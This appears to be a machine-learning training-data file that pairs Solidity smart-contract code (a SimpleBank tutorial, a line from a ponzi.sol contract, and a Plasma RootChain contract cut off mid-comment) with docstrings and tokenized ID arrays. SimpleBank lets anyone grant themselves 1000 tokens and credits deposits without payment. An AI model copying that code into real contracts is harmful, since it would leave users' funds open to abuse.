[ 1, 4081, 716, 279, 6826, 1147, 6835, 1758, 353, 279, 923, 1758, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 26810, 1345, 8924, 12, 2867, 389, 2316, 8924, 1887, 13, 7010, 5411, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 20412, 1345, 20723, 63, 67, 2316, 8924, 1887, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; contract SimpleBank { mapping (address => uint) private balances; address public owner; // Events - publicize actions to external listeners event LogDepositMade(address accountAddress, uint amount); // Constructor, can receive one or many variables here; only one allowed function SimpleBank() { owner = msg.sender; } /// @notice Enroll a customer with the bank, giving them 1000 tokens for free /// @return The balance of the user after enrolling function enroll() public returns (uint) { balances[msg.sender] = 1000; return balances[msg.sender]; } /// @notice Deposit token into bank /// @return The balance of the user after the deposit is made function deposit(uint amount) public returns (uint) { balances[msg.sender] += amount; LogDepositMade(msg.sender, amount); // fire event return balances[msg.sender]; } /// @notice Withdraw token from bank /// @dev This does not return any excess balance sent to it /// @param withdrawAmount amount you want to withdraw /// @return The balance remaining for the user function withdraw(uint withdrawAmount) public returns (uint remainingBal) { if (balances[msg.sender] >= withdrawAmount) { balances[msg.sender] -= withdrawAmount; } return balances[msg.sender]; } /// @notice Get balance /// @return The balance of the user // 'constant' prevents function from editing state variables; // allows function to run locally/off blockchain function balance() constant returns (uint) { return balances[msg.sender]; } // Fallback function - Called if other functions don't match call or // sent ether without data // Typically, called when invalid data is sent // Added so ether sent to this contract is reverted if the contract fails // otherwise, the sender's money is transferred to contract function () { revert(); } }
@notice Enroll a customer with the bank, giving them 1000 tokens for free @return The balance of the user after enrolling
function enroll() public returns (uint) { balances[msg.sender] = 1000; return balances[msg.sender]; }
12,884,529
[ 1, 664, 2693, 279, 6666, 598, 326, 11218, 16, 21057, 2182, 4336, 2430, 364, 4843, 327, 1021, 11013, 434, 326, 729, 1839, 14905, 2456, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 570, 2693, 1435, 1071, 1135, 261, 11890, 13, 288, 7010, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 4336, 31, 203, 3639, 327, 324, 26488, 63, 3576, 18, 15330, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x2b8c782e71897f1cA1D93A3409EC1bA2e3460bB2/sources/browser/ponzi.sol
tell the world about it
emit newPayment(msg.sender, msg.value, betsThisGame);
3,208,518
[ 1, 88, 1165, 326, 9117, 2973, 518, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 3626, 394, 6032, 12, 3576, 18, 15330, 16, 1234, 18, 1132, 16, 324, 2413, 2503, 12496, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.0; import "./Bits.sol"; import "./ByteUtils.sol"; import "./ECRecovery.sol"; import "./Eip712StructHash.sol"; import "./Math.sol"; import "./Merkle.sol"; import "./PlasmaCore.sol"; import "./PriorityQueue.sol"; import "./PriorityQueueFactory.sol"; import "./RLP.sol"; import "./ERC20.sol"; /** * @title RootChain * @dev Represents a MoreVP Plasma chain. */ contract RootChain { using Bits for uint192; using Bits for uint256; using ByteUtils for bytes; using RLP for bytes; using RLP for RLP.RLPItem; using PlasmaCore for bytes; using PlasmaCore for PlasmaCore.TransactionInput; using PlasmaCore for uint192; using PlasmaCore for uint256; /* * Storage */ uint256 constant public CHILD_BLOCK_INTERVAL = 1000; // Applies to outputs too uint8 constant public MAX_INPUTS = 4; // WARNING: These placeholder bond values are entirely arbitrary. uint256 public standardExitBond = 31415926535 wei; uint256 public inFlightExitBond = 31415926535 wei; uint256 public piggybackBond = 31415926535 wei; // NOTE: this is the "middle" period. Exit period for fresh utxos we'll double that while IFE phase is half that uint256 public minExitPeriod; address public operator; uint256 public nextChildBlock; uint256 public nextDepositBlock; uint256 public nextFeeExit; mapping (uint256 => Block) public blocks; mapping (uint192 => Exit) public exits; mapping (uint192 => InFlightExit) public inFlightExits; mapping (address => address) public exitsQueues; bytes32[16] zeroHashes; struct Block { bytes32 root; uint256 timestamp; } struct Exit { address owner; address token; uint256 amount; uint192 position; } struct InFlightExit { uint256 exitStartTimestamp; uint256 exitPriority; uint256 exitMap; PlasmaCore.TransactionOutput[MAX_INPUTS] inputs; PlasmaCore.TransactionOutput[MAX_INPUTS] outputs; address bondOwner; uint256 oldestCompetitor; } struct _InputSum { address token; uint256 amount; } /* * Events */ event BlockSubmitted( uint256 blockNumber ); event TokenAdded( address token ); event DepositCreated( address indexed depositor, uint256 indexed blknum, address indexed token, uint256 amount ); event ExitStarted( address indexed owner, uint192 exitId ); event ExitFinalized( uint192 indexed exitId ); event ExitChallenged( uint256 indexed utxoPos ); event InFlightExitStarted( address indexed initiator, bytes32 txHash ); event InFlightExitPiggybacked( address indexed owner, bytes32 txHash, uint8 outputIndex ); event InFlightExitChallenged( address indexed challenger, bytes32 txHash, uint256 challengeTxPosition ); event InFlightExitChallengeResponded( address challenger, bytes32 txHash, uint256 challengeTxPosition ); event InFlightExitOutputBlocked( address indexed challenger, bytes32 txHash, uint8 outputIndex ); event InFlightExitFinalized( uint192 inFlightExitId, uint8 outputIndex ); /* * Modifiers */ modifier onlyOperator() { require(msg.sender == operator); _; } modifier onlyWithValue(uint256 _value) { require(msg.value == _value); _; } /* * Empty, check `function init()` */ constructor() public { } /* * Public functions */ /** * @dev Required to be called before any operations on the contract * Split from `constructor` to fit into block gas limit * @param _minExitPeriod standard exit period in seconds */ function init(uint256 _minExitPeriod) public { _initOperator(); minExitPeriod = _minExitPeriod; nextChildBlock = CHILD_BLOCK_INTERVAL; nextDepositBlock = 1; nextFeeExit = 1; // Support only ETH on deployment; other tokens need // to be added explicitly. exitsQueues[address(0)] = PriorityQueueFactory.deploy(this); // Pre-compute some hashes to save gas later. bytes32 zeroHash = keccak256(abi.encodePacked(uint256(0))); for (uint i = 0; i < 16; i++) { zeroHashes[i] = zeroHash; zeroHash = keccak256(abi.encodePacked(zeroHash, zeroHash)); } } // @dev Allows anyone to add new token to Plasma chain // @param token The address of the ERC20 token function addToken(address _token) public { require(!hasToken(_token)); exitsQueues[_token] = PriorityQueueFactory.deploy(this); emit TokenAdded(_token); } /** * @dev Allows the operator to submit a child block. * @param _blockRoot Merkle root of the block. */ function submitBlock(bytes32 _blockRoot) public onlyOperator { uint256 submittedBlockNumber = nextChildBlock; // Create the block. blocks[submittedBlockNumber] = Block({ root: _blockRoot, timestamp: block.timestamp }); // Update the next child and deposit blocks. nextChildBlock += CHILD_BLOCK_INTERVAL; nextDepositBlock = 1; emit BlockSubmitted(submittedBlockNumber); } /** * @dev Allows a user to submit a deposit. * @param _depositTx RLP encoded transaction to act as the deposit. */ function deposit(bytes _depositTx) public payable { // Only allow a limited number of deposits per child block. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); // Decode the transaction. PlasmaCore.Transaction memory decodedTx = _depositTx.decode(); // Check that the first output has the correct balance. require(decodedTx.outputs[0].amount == msg.value); // Check that the first output has correct currency (ETH). require(decodedTx.outputs[0].token == address(0)); // Perform other checks and create a deposit block. _processDeposit(_depositTx, decodedTx); } /** * @dev Deposits approved amount of ERC20 token. Approve must be called first. Note: does not check if token was added. * @param _depositTx RLP encoded transaction to act as the deposit. */ function depositFrom(bytes _depositTx) public { // Only allow up to CHILD_BLOCK_INTERVAL deposits per child block. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); // Decode the transaction. PlasmaCore.Transaction memory decodedTx = _depositTx.decode(); // Warning, check your ERC20 implementation. TransferFrom should return bool require(ERC20(decodedTx.outputs[0].token).transferFrom(msg.sender, address(this), decodedTx.outputs[0].amount)); // Perform other checks and create a deposit block. _processDeposit(_depositTx, decodedTx); } function _processDeposit(bytes _depositTx, PlasmaCore.Transaction memory decodedTx) internal { // Following check is needed since _processDeposit // can be called on stack unwinding during re-entrance attack, // with nextDepositBlock == 999, producing // deposit with blknum ending with 000. require(nextDepositBlock < CHILD_BLOCK_INTERVAL); for (uint i = 0; i < MAX_INPUTS; i++) { // all inputs should be empty require(decodedTx.inputs[i].blknum == 0); // only first output should have value if (i >= 1) { require(decodedTx.outputs[i].amount == 0); } } // Calculate the block root. bytes32 root = keccak256(_depositTx); for (i = 0; i < 16; i++) { root = keccak256(abi.encodePacked(root, zeroHashes[i])); } // Insert the deposit block. uint256 blknum = getDepositBlockNumber(); blocks[blknum] = Block({ root: root, timestamp: block.timestamp }); emit DepositCreated( decodedTx.outputs[0].owner, blknum, decodedTx.outputs[0].token, decodedTx.outputs[0].amount ); nextDepositBlock++; } /** * @dev Starts a standard withdrawal of a given output. Uses output-age priority. Crosschecks in-flight exit existence. NOTE: requires the exiting UTXO's token to be added via `addToken` * @param _utxoPos Position of the exiting output. * @param _outputTx RLP encoded transaction that created the exiting output. * @param _outputTxInclusionProof A Merkle proof showing that the transaction was included. */ function startStandardExit(uint192 _utxoPos, bytes _outputTx, bytes _outputTxInclusionProof) public payable onlyWithValue(standardExitBond) { // Check that the output transaction actually created the output. require(_transactionIncluded(_outputTx, _utxoPos, _outputTxInclusionProof)); // Decode the output ID. uint8 oindex = uint8(_utxoPos.getOindex()); // Parse outputTx. PlasmaCore.TransactionOutput memory output = _outputTx.getOutput(oindex); // Only output owner can start an exit. require(msg.sender == output.owner); uint192 exitId = getStandardExitId(_outputTx, _utxoPos); // Make sure this exit is valid. require(output.amount > 0); require(exits[exitId].amount == 0); InFlightExit storage inFlightExit = _getInFlightExit(_outputTx); // Check whether IFE is either ongoing or finished if (inFlightExit.exitStartTimestamp != 0 || isFinalized(inFlightExit)) { // Check if this output was piggybacked or exited in an in-flight exit require(!isPiggybacked(inFlightExit, oindex + MAX_INPUTS) && !isExited(inFlightExit, oindex + MAX_INPUTS)); // Prevent future piggybacks on this output setExited(inFlightExit, oindex + MAX_INPUTS); } // Determine the exit's priority. uint256 exitPriority = getStandardExitPriority(exitId, _utxoPos); // Enqueue the exit into the queue and update the exit mapping. _enqueueExit(output.token, exitPriority); exits[exitId] = Exit({ owner: output.owner, token: output.token, amount: output.amount, position: _utxoPos }); emit ExitStarted(output.owner, exitId); } /** * @dev Blocks a standard exit by showing the exiting output was spent. * @param _standardExitId Identifier of the standard exit to challenge. * @param _challengeTx RLP encoded transaction that spends the exiting output. * @param _inputIndex Which input of the challenging tx corresponds to the exiting output. * @param _challengeTxSig Signature from the exiting output owner over the spend. */ function challengeStandardExit(uint192 _standardExitId, bytes _challengeTx, uint8 _inputIndex, bytes _challengeTxSig) public { // Check that the output is being used as an input to the challenging tx. uint256 challengedUtxoPos = _challengeTx.getInputUtxoPosition(_inputIndex); require(challengedUtxoPos == exits[_standardExitId].position); // Check if exit exists. address owner = exits[_standardExitId].owner; // Check that the challenging tx is signed by the output's owner. require(owner == ECRecovery.recover(Eip712StructHash.hash(_challengeTx), _challengeTxSig)); _processChallengeStandardExit(challengedUtxoPos, _standardExitId); } function _cleanupDoubleSpendingStandardExits(uint256 _utxoPos, bytes _txbytes) internal returns (bool) { uint192 standardExitId = getStandardExitId(_txbytes, _utxoPos); if (exits[standardExitId].owner != address(0)) { _processChallengeStandardExit(_utxoPos, standardExitId); return false; } return exits[standardExitId].amount != 0; } function _processChallengeStandardExit(uint256 _utxoPos, uint192 _exitId) internal { // Delete the exit. delete exits[_exitId]; // Send a bond to the challenger. msg.sender.transfer(standardExitBond); emit ExitChallenged(_utxoPos); } /** * @dev Allows the operator withdraw any allotted fees. Starts an exit to avoid theft. * @param _token Token to withdraw. * @param _amount Amount in fees to withdraw. */ function startFeeExit(address _token, uint256 _amount) public payable onlyOperator onlyWithValue(standardExitBond) { // Make sure queue for this token exists. require(hasToken(_token)); // Make sure this exit is valid. require(_amount > 0); uint192 exitId = getFeeExitId(nextFeeExit); // Determine the exit's priority. uint256 exitPriority = getFeeExitPriority(exitId); // Insert the exit into the queue and update the exit mapping. PriorityQueue queue = PriorityQueue(exitsQueues[_token]); queue.insert(exitPriority); exits[exitId] = Exit({ owner: operator, token: _token, amount: _amount, position: uint192(nextFeeExit) }); nextFeeExit++; emit ExitStarted(operator, exitId); } /** * @dev Starts an exit for an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction. * @param _inputTxs Transactions that created the inputs to the in-flight transaction. * @param _inputTxsInclusionProofs Merkle proofs that show the input-creating transactions are valid. * @param _inFlightTxSigs Signatures from the owners of each input. */ function startInFlightExit( bytes _inFlightTx, bytes _inputTxs, bytes _inputTxsInclusionProofs, bytes _inFlightTxSigs ) public payable onlyWithValue(inFlightExitBond) { // Check if there is an active in-flight exit from this transaction? InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(inFlightExit.exitStartTimestamp == 0); // Check if such an in-flight exit has already been finalized require(!isFinalized(inFlightExit)); // Separate the inputs transactions. RLP.RLPItem[] memory splitInputTxs = _inputTxs.toRLPItem().toList(); uint256 [] memory inputTxoPos = new uint256[](splitInputTxs.length); uint256 youngestInputTxoPos; bool finalized; bool any_finalized = false; for (uint8 i = 0; i < MAX_INPUTS; i++) { if (_inFlightTx.getInputUtxoPosition(i) == 0) break; (inFlightExit.inputs[i], inputTxoPos[i], finalized) = _getInputInfo( _inFlightTx, splitInputTxs[i].toBytes(), _inputTxsInclusionProofs, _inFlightTxSigs.sliceSignature(i), i ); youngestInputTxoPos = Math.max(youngestInputTxoPos, inputTxoPos[i]); any_finalized = any_finalized || finalized; // check whether IFE spends one UTXO twice for (uint8 j = 0; j < i; ++j){ require(inputTxoPos[i] != inputTxoPos[j]); } } // Validate sums of inputs against sum of outputs token-wise _validateInputsOutputsSumUp(inFlightExit, _inFlightTx); // Update the exit mapping. inFlightExit.bondOwner = msg.sender; inFlightExit.exitStartTimestamp = block.timestamp; inFlightExit.exitPriority = getInFlightExitPriority(_inFlightTx, youngestInputTxoPos); // If any of the inputs were finalized via standard exit, consider it non-canonical // and flag as not taking part in further canonicity game. if (any_finalized) { setNonCanonical(inFlightExit); } emit InFlightExitStarted(msg.sender, keccak256(_inFlightTx)); } function _enqueueExit(address _token, uint256 _exitPriority) private { // Make sure queue for this token exists. require(hasToken(_token)); PriorityQueue queue = PriorityQueue(exitsQueues[_token]); queue.insert(_exitPriority); } /** * @dev Allows a user to piggyback onto an in-flight transaction. NOTE: requires the exiting UTXO's token to be added via `addToken` * @param _inFlightTx RLP encoded in-flight transaction. * @param _outputIndex Index of the input/output to piggyback (0-7). */ function piggybackInFlightExit( bytes _inFlightTx, uint8 _outputIndex ) public payable onlyWithValue(piggybackBond) { bytes32 txhash = keccak256(_inFlightTx); // Check that the output index is valid. require(_outputIndex < 8); // Check if SE from the output is not started nor finalized if (_outputIndex >= MAX_INPUTS) { // Note that we cannot in-flight exit from a deposit, therefore here the output of the transaction // cannot be an output of deposit, so we do not have to use `getStandardExitId` (we actually cannot // as an output of IFE does not have utxoPos) require(exits[_computeStandardExitId(txhash, _outputIndex - MAX_INPUTS)].amount == 0); } // Check that the in-flight exit is active and in period 1. InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(_firstPhaseNotOver(inFlightExit)); // Check that we're not piggybacking something that's already been piggybacked. require(!isPiggybacked(inFlightExit, _outputIndex)); // Check that the message sender owns the output. PlasmaCore.TransactionOutput memory output; if (_outputIndex < MAX_INPUTS) { output = inFlightExit.inputs[_outputIndex]; } else { output = _inFlightTx.getOutput(_outputIndex - MAX_INPUTS); // Set the output so it can be exited later. inFlightExit.outputs[_outputIndex - MAX_INPUTS] = output; } require(output.owner == msg.sender); // Enqueue the exit in a right queue, if not already enqueued. if (_shouldEnqueueInFlightExit(inFlightExit, output.token)) { _enqueueExit(output.token, inFlightExit.exitPriority); } // Set the output as piggybacked. setPiggybacked(inFlightExit, _outputIndex); emit InFlightExitPiggybacked(msg.sender, txhash, _outputIndex); } function _shouldEnqueueInFlightExit(InFlightExit storage _inFlightExit, address _token) internal view returns (bool) { for (uint8 i = 0; i < MAX_INPUTS; ++i) { if ( (isPiggybacked(_inFlightExit, i) && _inFlightExit.inputs[i].token == _token) || (isPiggybacked(_inFlightExit, i + MAX_INPUTS) && _inFlightExit.outputs[i].token == _token) ) { return false; } } return true; } /** * @dev Attempts to prove that an in-flight exit is not canonical. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxInputIndex Index of the double-spent input in the in-flight transaction. * @param _competingTx RLP encoded transaction that spent the input. * @param _competingTxInputIndex Index of the double-spent input in the competing transaction. * @param _competingTxPos Position of the competing transaction. * @param _competingTxInclusionProof Proof that the competing transaction was included. * @param _competingTxSig Signature proving that the owner of the input signed the competitor. */ function challengeInFlightExitNotCanonical( bytes _inFlightTx, uint8 _inFlightTxInputIndex, bytes _competingTx, uint8 _competingTxInputIndex, uint256 _competingTxPos, bytes _competingTxInclusionProof, bytes _competingTxSig ) public { // Check that the exit is active and in period 1. InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(_firstPhaseNotOver(inFlightExit)); // Check if exit's input was spent via MVP exit require(!isInputSpent(inFlightExit)); // Check that the two transactions are not the same. require(keccak256(_inFlightTx) != keccak256(_competingTx)); // Check that the two transactions share an input. uint256 inFlightTxInputPos = _inFlightTx.getInputUtxoPosition(_inFlightTxInputIndex); require(inFlightTxInputPos == _competingTx.getInputUtxoPosition(_competingTxInputIndex)); // Check that the competing transaction is correctly signed. PlasmaCore.TransactionOutput memory input = inFlightExit.inputs[_inFlightTxInputIndex]; require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_competingTx), _competingTxSig)); // Determine the position of the competing transaction. uint256 competitorPosition = ~uint256(0); if (_competingTxPos != 0) { // Check that the competing transaction was included in a block. require(_transactionIncluded(_competingTx, _competingTxPos, _competingTxInclusionProof)); competitorPosition = _competingTxPos; } // Competitor must be first or must be older than the current oldest competitor. require(inFlightExit.oldestCompetitor == 0 || inFlightExit.oldestCompetitor > competitorPosition); // Set the oldest competitor and new bond owner. inFlightExit.oldestCompetitor = competitorPosition; inFlightExit.bondOwner = msg.sender; // Set a flag so that only the inputs are exitable, unless a response is received. setNonCanonicalChallenge(inFlightExit); emit InFlightExitChallenged(msg.sender, keccak256(_inFlightTx), competitorPosition); } /** * @dev Allows a user to respond to competitors to an in-flight exit by showing the transaction is included. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxPos Position of the in-flight transaction in the chain. * @param _inFlightTxInclusionProof Proof that the in-flight transaction is included before the competitor. */ function respondToNonCanonicalChallenge( bytes _inFlightTx, uint256 _inFlightTxPos, bytes _inFlightTxInclusionProof ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that there is a challenge and in-flight transaction is older than its competitors. require(inFlightExit.oldestCompetitor > _inFlightTxPos); // Check that the in-flight transaction was included. require(_transactionIncluded(_inFlightTx, _inFlightTxPos, _inFlightTxInclusionProof)); // Fix the oldest competitor and new bond owner. inFlightExit.oldestCompetitor = _inFlightTxPos; inFlightExit.bondOwner = msg.sender; // Reset the flag so only the outputs are exitable. setCanonical(inFlightExit); emit InFlightExitChallengeResponded(msg.sender, keccak256(_inFlightTx), _inFlightTxPos); } /** * @dev Removes an input from list of exitable outputs in an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxInputIndex Input that's been spent. * @param _spendingTx RLP encoded transaction that spends the input. * @param _spendingTxInputIndex Which input to the spending transaction spends the input. * @param _spendingTxSig Signature that shows the input owner signed the spending transaction. */ function challengeInFlightExitInputSpent( bytes _inFlightTx, uint8 _inFlightTxInputIndex, bytes _spendingTx, uint8 _spendingTxInputIndex, bytes _spendingTxSig ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that the input is piggybacked. require(isPiggybacked(inFlightExit, _inFlightTxInputIndex)); // Check that the two transactions are not the same. require(keccak256(_inFlightTx) != keccak256(_spendingTx)); // Check that the two transactions share an input. uint256 inFlightTxInputPos = _inFlightTx.getInputUtxoPosition(_inFlightTxInputIndex); require(inFlightTxInputPos == _spendingTx.getInputUtxoPosition(_spendingTxInputIndex)); // Check that the spending transaction is signed by the input owner. PlasmaCore.TransactionOutput memory input = inFlightExit.inputs[_inFlightTxInputIndex]; require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_spendingTx), _spendingTxSig)); // Remove the input from the piggyback map and pay out the bond. setExitCancelled(inFlightExit, _inFlightTxInputIndex); msg.sender.transfer(piggybackBond); emit InFlightExitOutputBlocked(msg.sender, keccak256(_inFlightTx), _inFlightTxInputIndex); } /** * @dev Removes an output from list of exitable outputs in an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxOutputPos Output that's been spent. * @param _inFlightTxInclusionProof Proof that the in-flight transaction was included. * @param _spendingTx RLP encoded transaction that spends the input. * @param 